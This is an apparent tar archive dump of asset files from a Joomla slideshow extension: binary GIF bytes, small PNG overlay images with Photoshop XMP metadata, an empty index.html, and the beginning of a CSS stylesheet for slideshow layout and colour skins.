" �Z$��cބŖ��DW�#k0x��'L�+F��Pψ,[��a��2	`P��
��ՑLS"\X ��ح	!�,�dfd�����܌��|z|������trt�����윚���������lnl�����䔖������Դ��ljl�����䔒�|~|�����tvt�����윞���������������p8$�>���1�$@$�t*d,lvkm�T�(��eQ$LX�J"QY��[&:(" {�S${k��%$��i��R #�e}�%� X�C e
e��$ee�De!��Ci"e	�BeX��X���iX�˾	e����
�
�#[$"
�$�Q#z����C�0����0�C�
��4I��2��a�lj���3Z�kD��ɓf&�;����Xp� !�,�dfd���������|z|��̤�������Ą��trt�����ܴ�������������Ԭ��ljl������|~|��̤�������Č��tvt��윞������'�c�i��%�t)�_	��]1��(��	B8�4t�G�h<EI�I�P"�f����0T�����u�(�BMPt�GE&9"FE
unEE�#�|s�"xEK��	9��9�
��9���E�j�<�;�ƙ��a�Z�N�e�ݴ����L^E�tiDH<E;�fV�3A�74*Px���
(T8(#!�,�dfd�����܌��|z|������trt�����윚���������lnl�����䔖������Դ��ljl�����䔒�|~|�����tvt�����윞���������������p8$�>���1�|@$�tZ"Q2@V˵�FTjd(��eD$<���E%��,��j`�
S$
{a����l
��"���R$eU�D$d"FY��%#fiQ�Uoe�C���Be""e	�%eY�����ĸ��Y	Z��$�
[�[$�^�#Q���
zU"<�H&�#��H�[d`a����6l�p�Mk��ef@)�
�		�)ta��\� SJ!�,�dfd�����܌��|z|������trt�����윚���������lnl�����䔖������Դ��ljl�����䔒�|~|�����tvt�����윞���������������p8$�>���1�|$�tZ"Q@V��`ŀ�-�E�t�0#�D�����S�%+*��C#	�U#��%	��YQ�`e_V��B$Xh �C
e]��$]]�C�c�B]""Z	�%�]ž�"Y������Y	Z��$�
e� �|�~�]�C�
�C���ҠP +���…xj8�8a�bm闈�3[�LH��������pa��\p�&!�,�dfd���������|z|���������trt��Ĝ����섆���������lnl��������䄂����ljl���������|~|��������tvt��Ĝ����쌊�������������@�p8,�>��!�$ĨTXr`,lv��zM`L.W�Ғ��"�DbT蠣Ydx܅%^!
	~&_%P�&%Y]�hz��_c��c"�R$Z#v�Tcc�C� b#�B�"Y	�&�c��cX��Y"�
�c
	c��m�&!%�"��m��&�!�$/��tHH$���xA0J	KwJ05��HD�!†[[,\`�%-[�
��L
�H���@
"\�RH!�,�dfd���������|z|��̤����trt��Ĝ����섆���ܬ��lnl��������䄂������ljl���������|~|��̤�����tvt��Ĝ����쌊��������@�p8��>��!�,��h�"��W��#�
%�,`L�x���@(F�Ĉ=T�	��B�V@wPc	}gV	h
gP W���$c��gd���"��R
d!��Ec��Pc
a�Dc""c��Bc����#�$yV
�
���Y�Eȩ��V�B��$�WJ-�!�1
2U���B�Q*� +�TcF�qP�
 �2t�A/H����U
dbN�5k��Pp!C�!A!�,�dfd���������|z|������trt�����섆������������lnl�����䄂�ljl���������|~|�����tvt�����쌊����������������@�p8y:�g!0�P��!��׉(�J��k8��rE�`�	
���BE����0�vDX	}f$ceO	l�^V�O"!��Ba��]c��"`��\!c�]"a��Ca��$aa�C����
a�#�B	�W�C	a��
X
�E�����B"�������-O
pMh�h�U
B��{EX�͞��8h�!�\b(T��G,�b�&�D�|���A�Ş!�,�dfd���������|z|��̤�����trt��Ĝ����섆���ܬ�����lnl��������䄂����ljl���������|~|��̤����tvt��Ĝ����쌊�������������p8$�>�H� :�NRE`T�ֹX`k⹘lK�$@(F���a������"*4�$V#wN{	[acDkmgDV�C��N��C!�Oa��$`"��ZWf�[$`�g`
��N�
�ȭ`��B	T#�O�
�O	V��a�D$�"��`u��"`�`-�A��X�p�̂_V8A��3RHeDu��
3�	,�!��_
-\�Gd�&"������+`(|0	��\�@SH!�,�dfd���������|z|��̤�����trt��Ĝ����섆���Ԭ�����lnl���������ljl��������䄂���̤����tvt��Ĝ����쌊���Դ���������@�p8}:���l:G
0]2#gs"x��f4�
G�t�P�>M
��m�T/��0c�uD_	}f$`Lj�D��g���C�^u	
a�L�^L#���z��N!S��#^��^V�Nz�Z��N]�q��L	S���
�E� ⠱Lk�
҉ ^e���H\X�a����A�uE� V�/ ��鋈uw�4��@�5:��@!C^0,�@�9�0 ꦀ��
 �!�,�dfd��������ܤ��|z|�����trt��Ĝ����쬮�������lnl��������䬪����ljl��������䤦���������tvt��Ĝ����촲����������p8�<��l:9AP!4%���)P`H3I�B��1#�f\�h�r[D9l3m!wC`T	~hm	\lqhDT�#t��C`
Z���M�`B

��i�e�i�N���`¢`
Ȗ���M��Ls��Dz����ERe�	�t�m�#"`g���a�):d��Lȸ1Ю����	p@�-�2�]�6߈,�Pa�`� ��:`4@d�h@�	�4$JB���!�,�dfd�����܌�����|z|������trt��������Ԅ��lnl�����䔖���Ԭ��ljl�����䔒���̄��������tvt��������܌������@�p8�t8�0�Q:���e�8	�K�|`�I�%�A�".NMx��BT3�N�|y|By	i �`�]
`�D��K��J`[�	�WaI_���	�Oy
���b���������\�D	���
a�{�T�³� �ͥ`� 
h�
��B*�٠ϓbva�`��(���� �d0�n��Tq�S�	��@E�1(�d��eD*�Bd�@"(TP;com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/index.html000060400000000037152455305260025314 0ustar00<!DOCTYPE html><title></title>
com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay8.png000060400000001664152455305260025605 0ustar00�PNG


IHDR�o&�tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:7C4BE2E162AF11E090CDA44F81491F78" xmpMM:DocumentID="xmp.did:7C4BE2E262AF11E090CDA44F81491F78"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7C4BE2DF62AF11E090CDA44F81491F78" stRef:documentID="xmp.did:7C4BE2E062AF11E090CDA44F81491F78"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>a��*IDATx�b���?2`dd�τ.�L�`T�d��`D�`�O����-IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay1.png000060400000001651152455305260025572 0ustar00�PNG


IHDRV(��tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:6781A6AC62A711E09891BFF925EF25D9" xmpMM:DocumentID="xmp.did:6781A6AD62A711E09891BFF925EF25D9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6781A6AA62A711E09891BFF925EF25D9" stRef:documentID="xmp.did:6781A6AB62A711E09891BFF925EF25D9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>F�{�IDATx�bb``� ��	H0���ĀE�Ǝ�IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay6.png000060400000001677152455305260025607 0ustar00�PNG


IHDR���HtEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:CFC55F8662AB11E0BAB9B38802E1DA96" xmpMM:DocumentID="xmp.did:CFC55F8762AB11E0BAB9B38802E1DA96"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CFC55F8462AB11E0BAB9B38802E1DA96" stRef:documentID="xmp.did:CFC55F8562AB11E0BAB9B38802E1DA96"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�)5IDATx�bd``��h�	$���|�Cu�iF(�f,� �Xd�����0�(��IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay10.png000060400000001633152455305260025652 0ustar00�PNG


IHDR��~tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:A3D9965462AF11E0B0B1CD11AC9ABB59" xmpMM:DocumentID="xmp.did:A3D9965562AF11E0B0B1CD11AC9ABB59"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A3D9965262AF11E0B0B1CD11AC9ABB59" stRef:documentID="xmp.did:A3D9965362AF11E0B0B1CD11AC9ABB59"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>FୢIDATx�b`@������@΀�IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay7.png000060400000000141152455305260025571 0ustar00�PNG


IHDR
��(IDAT�cd``���?0���������#� ��$#�~FFF���N�ZIEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay9.png000060400000001636152455305260025605 0ustar00�PNG


IHDR��~tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:9C7C8FAA62AF11E0A442A91720A37A42" xmpMM:DocumentID="xmp.did:9C7C8FAB62AF11E0A442A91720A37A42"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9C7C8FA862AF11E0A442A91720A37A42" stRef:documentID="xmp.did:9C7C8FA962AF11E0A442A91720A37A42"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�uIDATx�b```�π� `����D�IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay3.png000060400000001652152455305260025575 0ustar00�PNG


IHDR��~tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:06045F6762A811E0AC81AFB0068E41D1" xmpMM:DocumentID="xmp.did:06045F6862A811E0AC81AFB0068E41D1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:06045F6562A811E0AC81AFB0068E41D1" stRef:documentID="xmp.did:06045F6662A811E0AC81AFB0068E41D1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�F IDATx�bd``�πX@���a�>�g}�M���IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay4.png000060400000001634152455305260025576 0ustar00�PNG


IHDR�"�tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:2D63D63C62A811E0B19D94A0A3B33548" xmpMM:DocumentID="xmp.did:2D63D63D62A811E0B19D94A0A3B33548"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2D63D63A62A811E0B19D94A0A3B33548" stRef:documentID="xmp.did:2D63D63B62A811E0B19D94A0A3B33548"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>`�l�IDATx�b```�
��B��TIEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay5.png000060400000001634152455305260025577 0ustar00�PNG


IHDR���'tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:449474A662A811E0A6F2A19E4202FC36" xmpMM:DocumentID="xmp.did:449474A762A811E0A6F2A19E4202FC36"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:449474A462A811E0A6F2A19E4202FC36" stRef:documentID="xmp.did:449474A562A811E0A6F2A19E4202FC36"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Z�2IDATx�b���?�0���bd�IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/images/patterns/overlay2.png000060400000001647152455305260025600 0ustar00�PNG


IHDRV(��tEXtSoftwareAdobe ImageReadyq�e< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:9168200662A711E0B655C8AD65EBB9E8" xmpMM:DocumentID="xmp.did:9168200762A711E0B655C8AD65EBB9E8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9168200462A711E0B655C8AD65EBB9E8" stRef:documentID="xmp.did:9168200562A711E0B655C8AD65EBB9E8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�Y��IDATx�bb``� ��	H02@0$�	��;��IEND�B`�com_slideshowck/extensions/mod_slideshowck/themes/default/css/camera.css000060400000063302152455305260022750 0ustar00/*** compatibilite beez en position-12 ***/
#top {overflow: visible !important; }


/**************************
*
*	GENERAL
*
**************************/
.camera_wrap a.camera-link,.camera_wrap a.camera-link:hover {
	background: url(../images/blank.gif) !important;
}

.camera_wrap a.camera-button {
	display: inline-block;
}

.camera_wrap a,.camera_wrap a:hover, .camera_wrap img,
.camera_wrap ol, .camera_wrap ul, .camera_wrap li,
.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td
.camera_thumbs_wrap a, .camera_thumbs_wrap img,
.camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,
.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {
	background: none;
	border: 0;
	font: inherit;
	font-size: 100%;
	margin: 0;
	padding: 0;
	vertical-align: baseline;
	list-style: none
}
.camera_wrap {
	display: none;
	/*float: left;*/
	position: relative;
	z-index: 0;
	max-width: 100%;
	box-sizing: content-box;
}
.camera_wrap img {
	max-width: none!important;
}
.camera_fakehover {
	height: 100%;
	min-height: 60px;
	position: relative;
	width: 100%;
	z-index: 1;
}
.camera_wrap {
	/*width: 100%;*/
}
.camera_src {
	display: none;
}
.cameraCont, .cameraContents {
	height: 100%;
	position: relative;
	width: 100%;
	z-index: 1;
}
.cameraSlide {
	bottom: 0;
	left: 0;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
}
.cameraContent {
	bottom: 0;
	display: none;
	left: 0;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
}
.cameraContent video {
	background: #000;
	height:100%;
}
.camera_target {
	bottom: 0;
	height: 100%;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	text-align: left;
	top: 0;
	width: 100%;
	z-index: 0;
}
.camera_overlayer {
	bottom: 0;
	height: 100%;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
	z-index: 0;
}
.camera_target_content {
	bottom: 0;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	top: 0;
	z-index: 2;
}
.camera_target_content .camera_link {
	display: block;
	height: 100%;
	text-decoration: none;
        background: url(../images/blank.gif) !important;
}
.camera_loader {
    background: #fff url(../images/camera-loader.gif) no-repeat center;
	background: rgba(255, 255, 255, 0.9) url(../images/camera-loader.gif) no-repeat center;
	border: 1px solid #ffffff;
	-webkit-border-radius: 18px;
	-moz-border-radius: 18px;
	border-radius: 18px;
	height: 36px;
	left: 50%;
	overflow: hidden;
	position: absolute;
	margin: -18px 0 0 -18px;
	top: 50%;
	width: 36px;
	z-index: 3;
}
.camera_bar {
	bottom: 0;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	top: 0;
	z-index: 3;
}
.camera_thumbs_wrap.camera_left .camera_bar, .camera_thumbs_wrap.camera_right .camera_bar {
	height: 100%;
	position: absolute;
	width: auto;
}
.camera_thumbs_wrap.camera_bottom .camera_bar, .camera_thumbs_wrap.camera_top .camera_bar {
	height: auto;
	position: absolute;
	width: 100%;
}
.camera_nav_cont {
	height: 65px;
	overflow: hidden;
	position: absolute;
	right: 9px;
	top: 15px;
	width: 120px;
	z-index: 4;
}
.camera_caption {
	bottom: 0;
	display: block;
	position: absolute;
	width: 100%;
	z-index: 1000;
}
.camera_caption > div {
	padding: 10px 20px;
	height:100%;
}
.camera_caption_title {
	font-size: 1.3em;
	font-weight: bold;
	line-height: 1em;
}
.camerarelative {
	overflow: hidden;
	position: relative;
}
.imgFake {
	cursor: pointer;
}
.camera_prevThumbs {
	bottom: 4px;
	cursor: pointer;
	left: 0;
	position: absolute;
	top: 4px;
	/*visibility: hidden;*/
	width: 30px;
	z-index: 10;
}
.camera_prevThumbs div {
	background: url(../images/camera_skins.png) no-repeat -160px 0;
	display: block;
	height: 40px;
	margin-top: -20px;
	position: absolute;
	top: 50%;
	width: 30px;
}
.camera_nextThumbs {
	bottom: 4px;
	cursor: pointer;
	position: absolute;
	right: 0;
	top: 4px;
	visibility: hidden;
	width: 30px;
	z-index: 10;
}
.camera_nextThumbs div {
	background: url(../images/camera_skins.png) no-repeat -190px 0;
	display: block;
	height: 40px;
	margin-top: -20px;
	position: absolute;
	top: 50%;
	width: 30px;
}
.camera_command_wrap .hideNav {
	display: none;
}
.camera_command_wrap {
	left: 0;
	position: relative;
	right:0;
	z-index: 4;
}
.camera_wrap .camera_pag .camera_pag_ul {
	list-style: none;
	margin: 0;
	padding: 0;
	text-align: right;
	height: auto !important;
	height: 28px;
}
.camera_wrap .camera_pag .camera_pag_ul li {
	-webkit-border-radius: 8px;
	-moz-border-radius: 8px;
	border-radius: 8px;
	cursor: pointer;
	display: inline-block;
        float: none !important;
        float:left;/*overflow:hidden;*/
	height: 16px;
	margin: 20px 5px;
	position: relative;
	/*text-align: left;*/
	text-indent: 9999px;
	width: 16px;
	overflow: visible !important;
	padding: 0;
}

.camera_commands_emboss .camera_pag .camera_pag_ul li {
	-moz-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	-webkit-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
}
.camera_wrap .camera_pag .camera_pag_ul li > span {
	-webkit-border-radius: 5px;
	-moz-border-radius: 5px;
	border-radius: 5px;
	height: 8px;
	left: 4px;
	overflow: hidden;
	position: absolute;
	top: 4px;
	width: 8px;
}
.camera_commands_emboss .camera_pag .camera_pag_ul li:hover > span {
	-moz-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	-webkit-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
}
.camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span {
	-moz-box-shadow: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}
.camera_pag_ul li img {
	display: none;
	position: absolute;
	box-sizing: border-box;
}
.camera_pag_ul .thumb_arrow {
	border-left: 4px solid transparent;
	border-right: 4px solid transparent;
	border-top: 4px solid;
	top: 0;
	left: 50%;
	margin-left: -4px;
	position: absolute;
}
.camera_prev, .camera_next, .camera_commands {
	cursor: pointer;
	height: 40px;
	margin-top: -20px;
	position: absolute;
	top: 50%;
	width: 40px;
	z-index: 2;
}
.camera_prev {
	left: 0;
}
.camera_prev > span {
	background: url(../images/camera_skins.png) no-repeat 0 0;
	display: block;
	height: 40px;
	width: 40px;
}
.camera_next {
	right: 0;
}
.camera_next > span {
	background: url(../images/camera_skins.png) no-repeat -40px 0;
	display: block;
	height: 40px;
	width: 40px;
}
.camera_commands {
	right: 41px;
}
.camera_commands > .camera_play {
	background: url(../images/camera_skins.png) no-repeat -80px 0;
	height: 40px;
	width: 40px;
}
.camera_commands > .camera_stop {
	background: url(../images/camera_skins.png) no-repeat -120px 0;
	display: block;
	height: 40px;
	width: 40px;
}

.camera_thumbs_cont {
	-webkit-border-bottom-right-radius: 4px;
	-webkit-border-bottom-left-radius: 4px;
	-moz-border-radius-bottomright: 4px;
	-moz-border-radius-bottomleft: 4px;
	border-bottom-right-radius: 4px;
	border-bottom-left-radius: 4px;
	overflow: hidden;
	position: relative;
	width: 100%;
}
.camera_commands_emboss .camera_thumbs_cont {
	-moz-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	-webkit-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
}
.camera_thumbs_cont > div {
	float: left;
	width: 100%;
}
.camera_thumbs_cont ul {
	overflow: hidden;
	padding: 3px 4px 8px;
	position: relative;
	text-align: center;
}
.camera_thumbs_cont ul li {
	display: inline-block;
	margin: 0 4px;
}
.camera_thumbs_cont ul li > img {
	border: 1px solid #000;
	cursor: pointer;
	margin-top: 5px;
	vertical-align:bottom;
}
.camera_clear {
	display: block;
	clear: both;
}
.showIt {
	display: none;
}
.camera_clear {
	clear: both;
	display: block;
	height: 1px;
	margin: -1px 0 25px;
	position: relative;
}

.camera_caption {
	color: #fff;
}
.camera_caption > div {
	background: #000;
	background: rgba(0, 0, 0, 0.8);
}
.camera_wrap .camera_pag .camera_pag_ul li {
	background: #b7b7b7;
}
.camera_wrap .camera_pag .camera_pag_ul li:hover > span {
	background: #b7b7b7;
}
.camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span {
	background: #434648;
}
.camera_pag_ul li img {
	border: 4px solid #e6e6e6;
	-moz-box-shadow: 0px 3px 6px rgba(0,0,0,.5);
	-webkit-box-shadow: 0px 3px 6px rgba(0,0,0,.5);
	box-shadow: 0px 3px 6px rgba(0,0,0,.5);
}
.camera_pag_ul .thumb_arrow {
    border-top-color: #e6e6e6;
}
.camera_prevThumbs, .camera_nextThumbs, .camera_prev, .camera_next, .camera_commands, .camera_thumbs_cont {
	background: #d8d8d8;
	background: rgba(216, 216, 216, 0.85);
}
.camera_wrap .camera_pag .camera_pag_ul li {
	background: #b7b7b7;
}
.camera_thumbs_cont ul li > img {
	border-color: 1px solid #000;
}
/*AMBER SKIN*/
.camera_amber_skin .camera_prevThumbs div {
	background-position: -160px -160px;
}
.camera_amber_skin .camera_nextThumbs div {
	background-position: -190px -160px;
}
.camera_amber_skin .camera_prev > span {
	background-position: 0 -160px;
}
.camera_amber_skin .camera_next > span {
	background-position: -40px -160px;
}
.camera_amber_skin .camera_commands > .camera_play {
	background-position: -80px -160px;
}
.camera_amber_skin .camera_commands > .camera_stop {
	background-position: -120px -160px;
}
/*ASH SKIN*/
.camera_ash_skin .camera_prevThumbs div {
	background-position: -160px -200px;
}
.camera_ash_skin .camera_nextThumbs div {
	background-position: -190px -200px;
}
.camera_ash_skin .camera_prev > span {
	background-position: 0 -200px;
}
.camera_ash_skin .camera_next > span {
	background-position: -40px -200px;
}
.camera_ash_skin .camera_commands > .camera_play {
	background-position: -80px -200px;
}
.camera_ash_skin .camera_commands > .camera_stop {
	background-position: -120px -200px;
}
/*AZURE SKIN*/
.camera_azure_skin .camera_prevThumbs div {
	background-position: -160px -240px;
}
.camera_azure_skin .camera_nextThumbs div {
	background-position: -190px -240px;
}
.camera_azure_skin .camera_prev > span {
	background-position: 0 -240px;
}
.camera_azure_skin .camera_next > span {
	background-position: -40px -240px;
}
.camera_azure_skin .camera_commands > .camera_play {
	background-position: -80px -240px;
}
.camera_azure_skin .camera_commands > .camera_stop {
	background-position: -120px -240px;
}
/*BEIGE SKIN*/
.camera_beige_skin .camera_prevThumbs div {
	background-position: -160px -120px;
}
.camera_beige_skin .camera_nextThumbs div {
	background-position: -190px -120px;
}
.camera_beige_skin .camera_prev > span {
	background-position: 0 -120px;
}
.camera_beige_skin .camera_next > span {
	background-position: -40px -120px;
}
.camera_beige_skin .camera_commands > .camera_play {
	background-position: -80px -120px;
}
.camera_beige_skin .camera_commands > .camera_stop {
	background-position: -120px -120px;
}
/*BLACK SKIN*/
.camera_black_skin .camera_prevThumbs div {
	background-position: -160px -40px;
}
.camera_black_skin .camera_nextThumbs div {
	background-position: -190px -40px;
}
.camera_black_skin .camera_prev > span {
	background-position: 0 -40px;
}
.camera_black_skin .camera_next > span {
	background-position: -40px -40px;
}
.camera_black_skin .camera_commands > .camera_play {
	background-position: -80px -40px;
}
.camera_black_skin .camera_commands > .camera_stop {
	background-position: -120px -40px;
}
/*BLUE SKIN*/
.camera_blue_skin .camera_prevThumbs div {
	background-position: -160px -280px;
}
.camera_blue_skin .camera_nextThumbs div {
	background-position: -190px -280px;
}
.camera_blue_skin .camera_prev > span {
	background-position: 0 -280px;
}
.camera_blue_skin .camera_next > span {
	background-position: -40px -280px;
}
.camera_blue_skin .camera_commands > .camera_play {
	background-position: -80px -280px;
}
.camera_blue_skin .camera_commands > .camera_stop {
	background-position: -120px -280px;
}
/*BROWN SKIN*/
.camera_brown_skin .camera_prevThumbs div {
	background-position: -160px -320px;
}
.camera_brown_skin .camera_nextThumbs div {
	background-position: -190px -320px;
}
.camera_brown_skin .camera_prev > span {
	background-position: 0 -320px;
}
.camera_brown_skin .camera_next > span {
	background-position: -40px -320px;
}
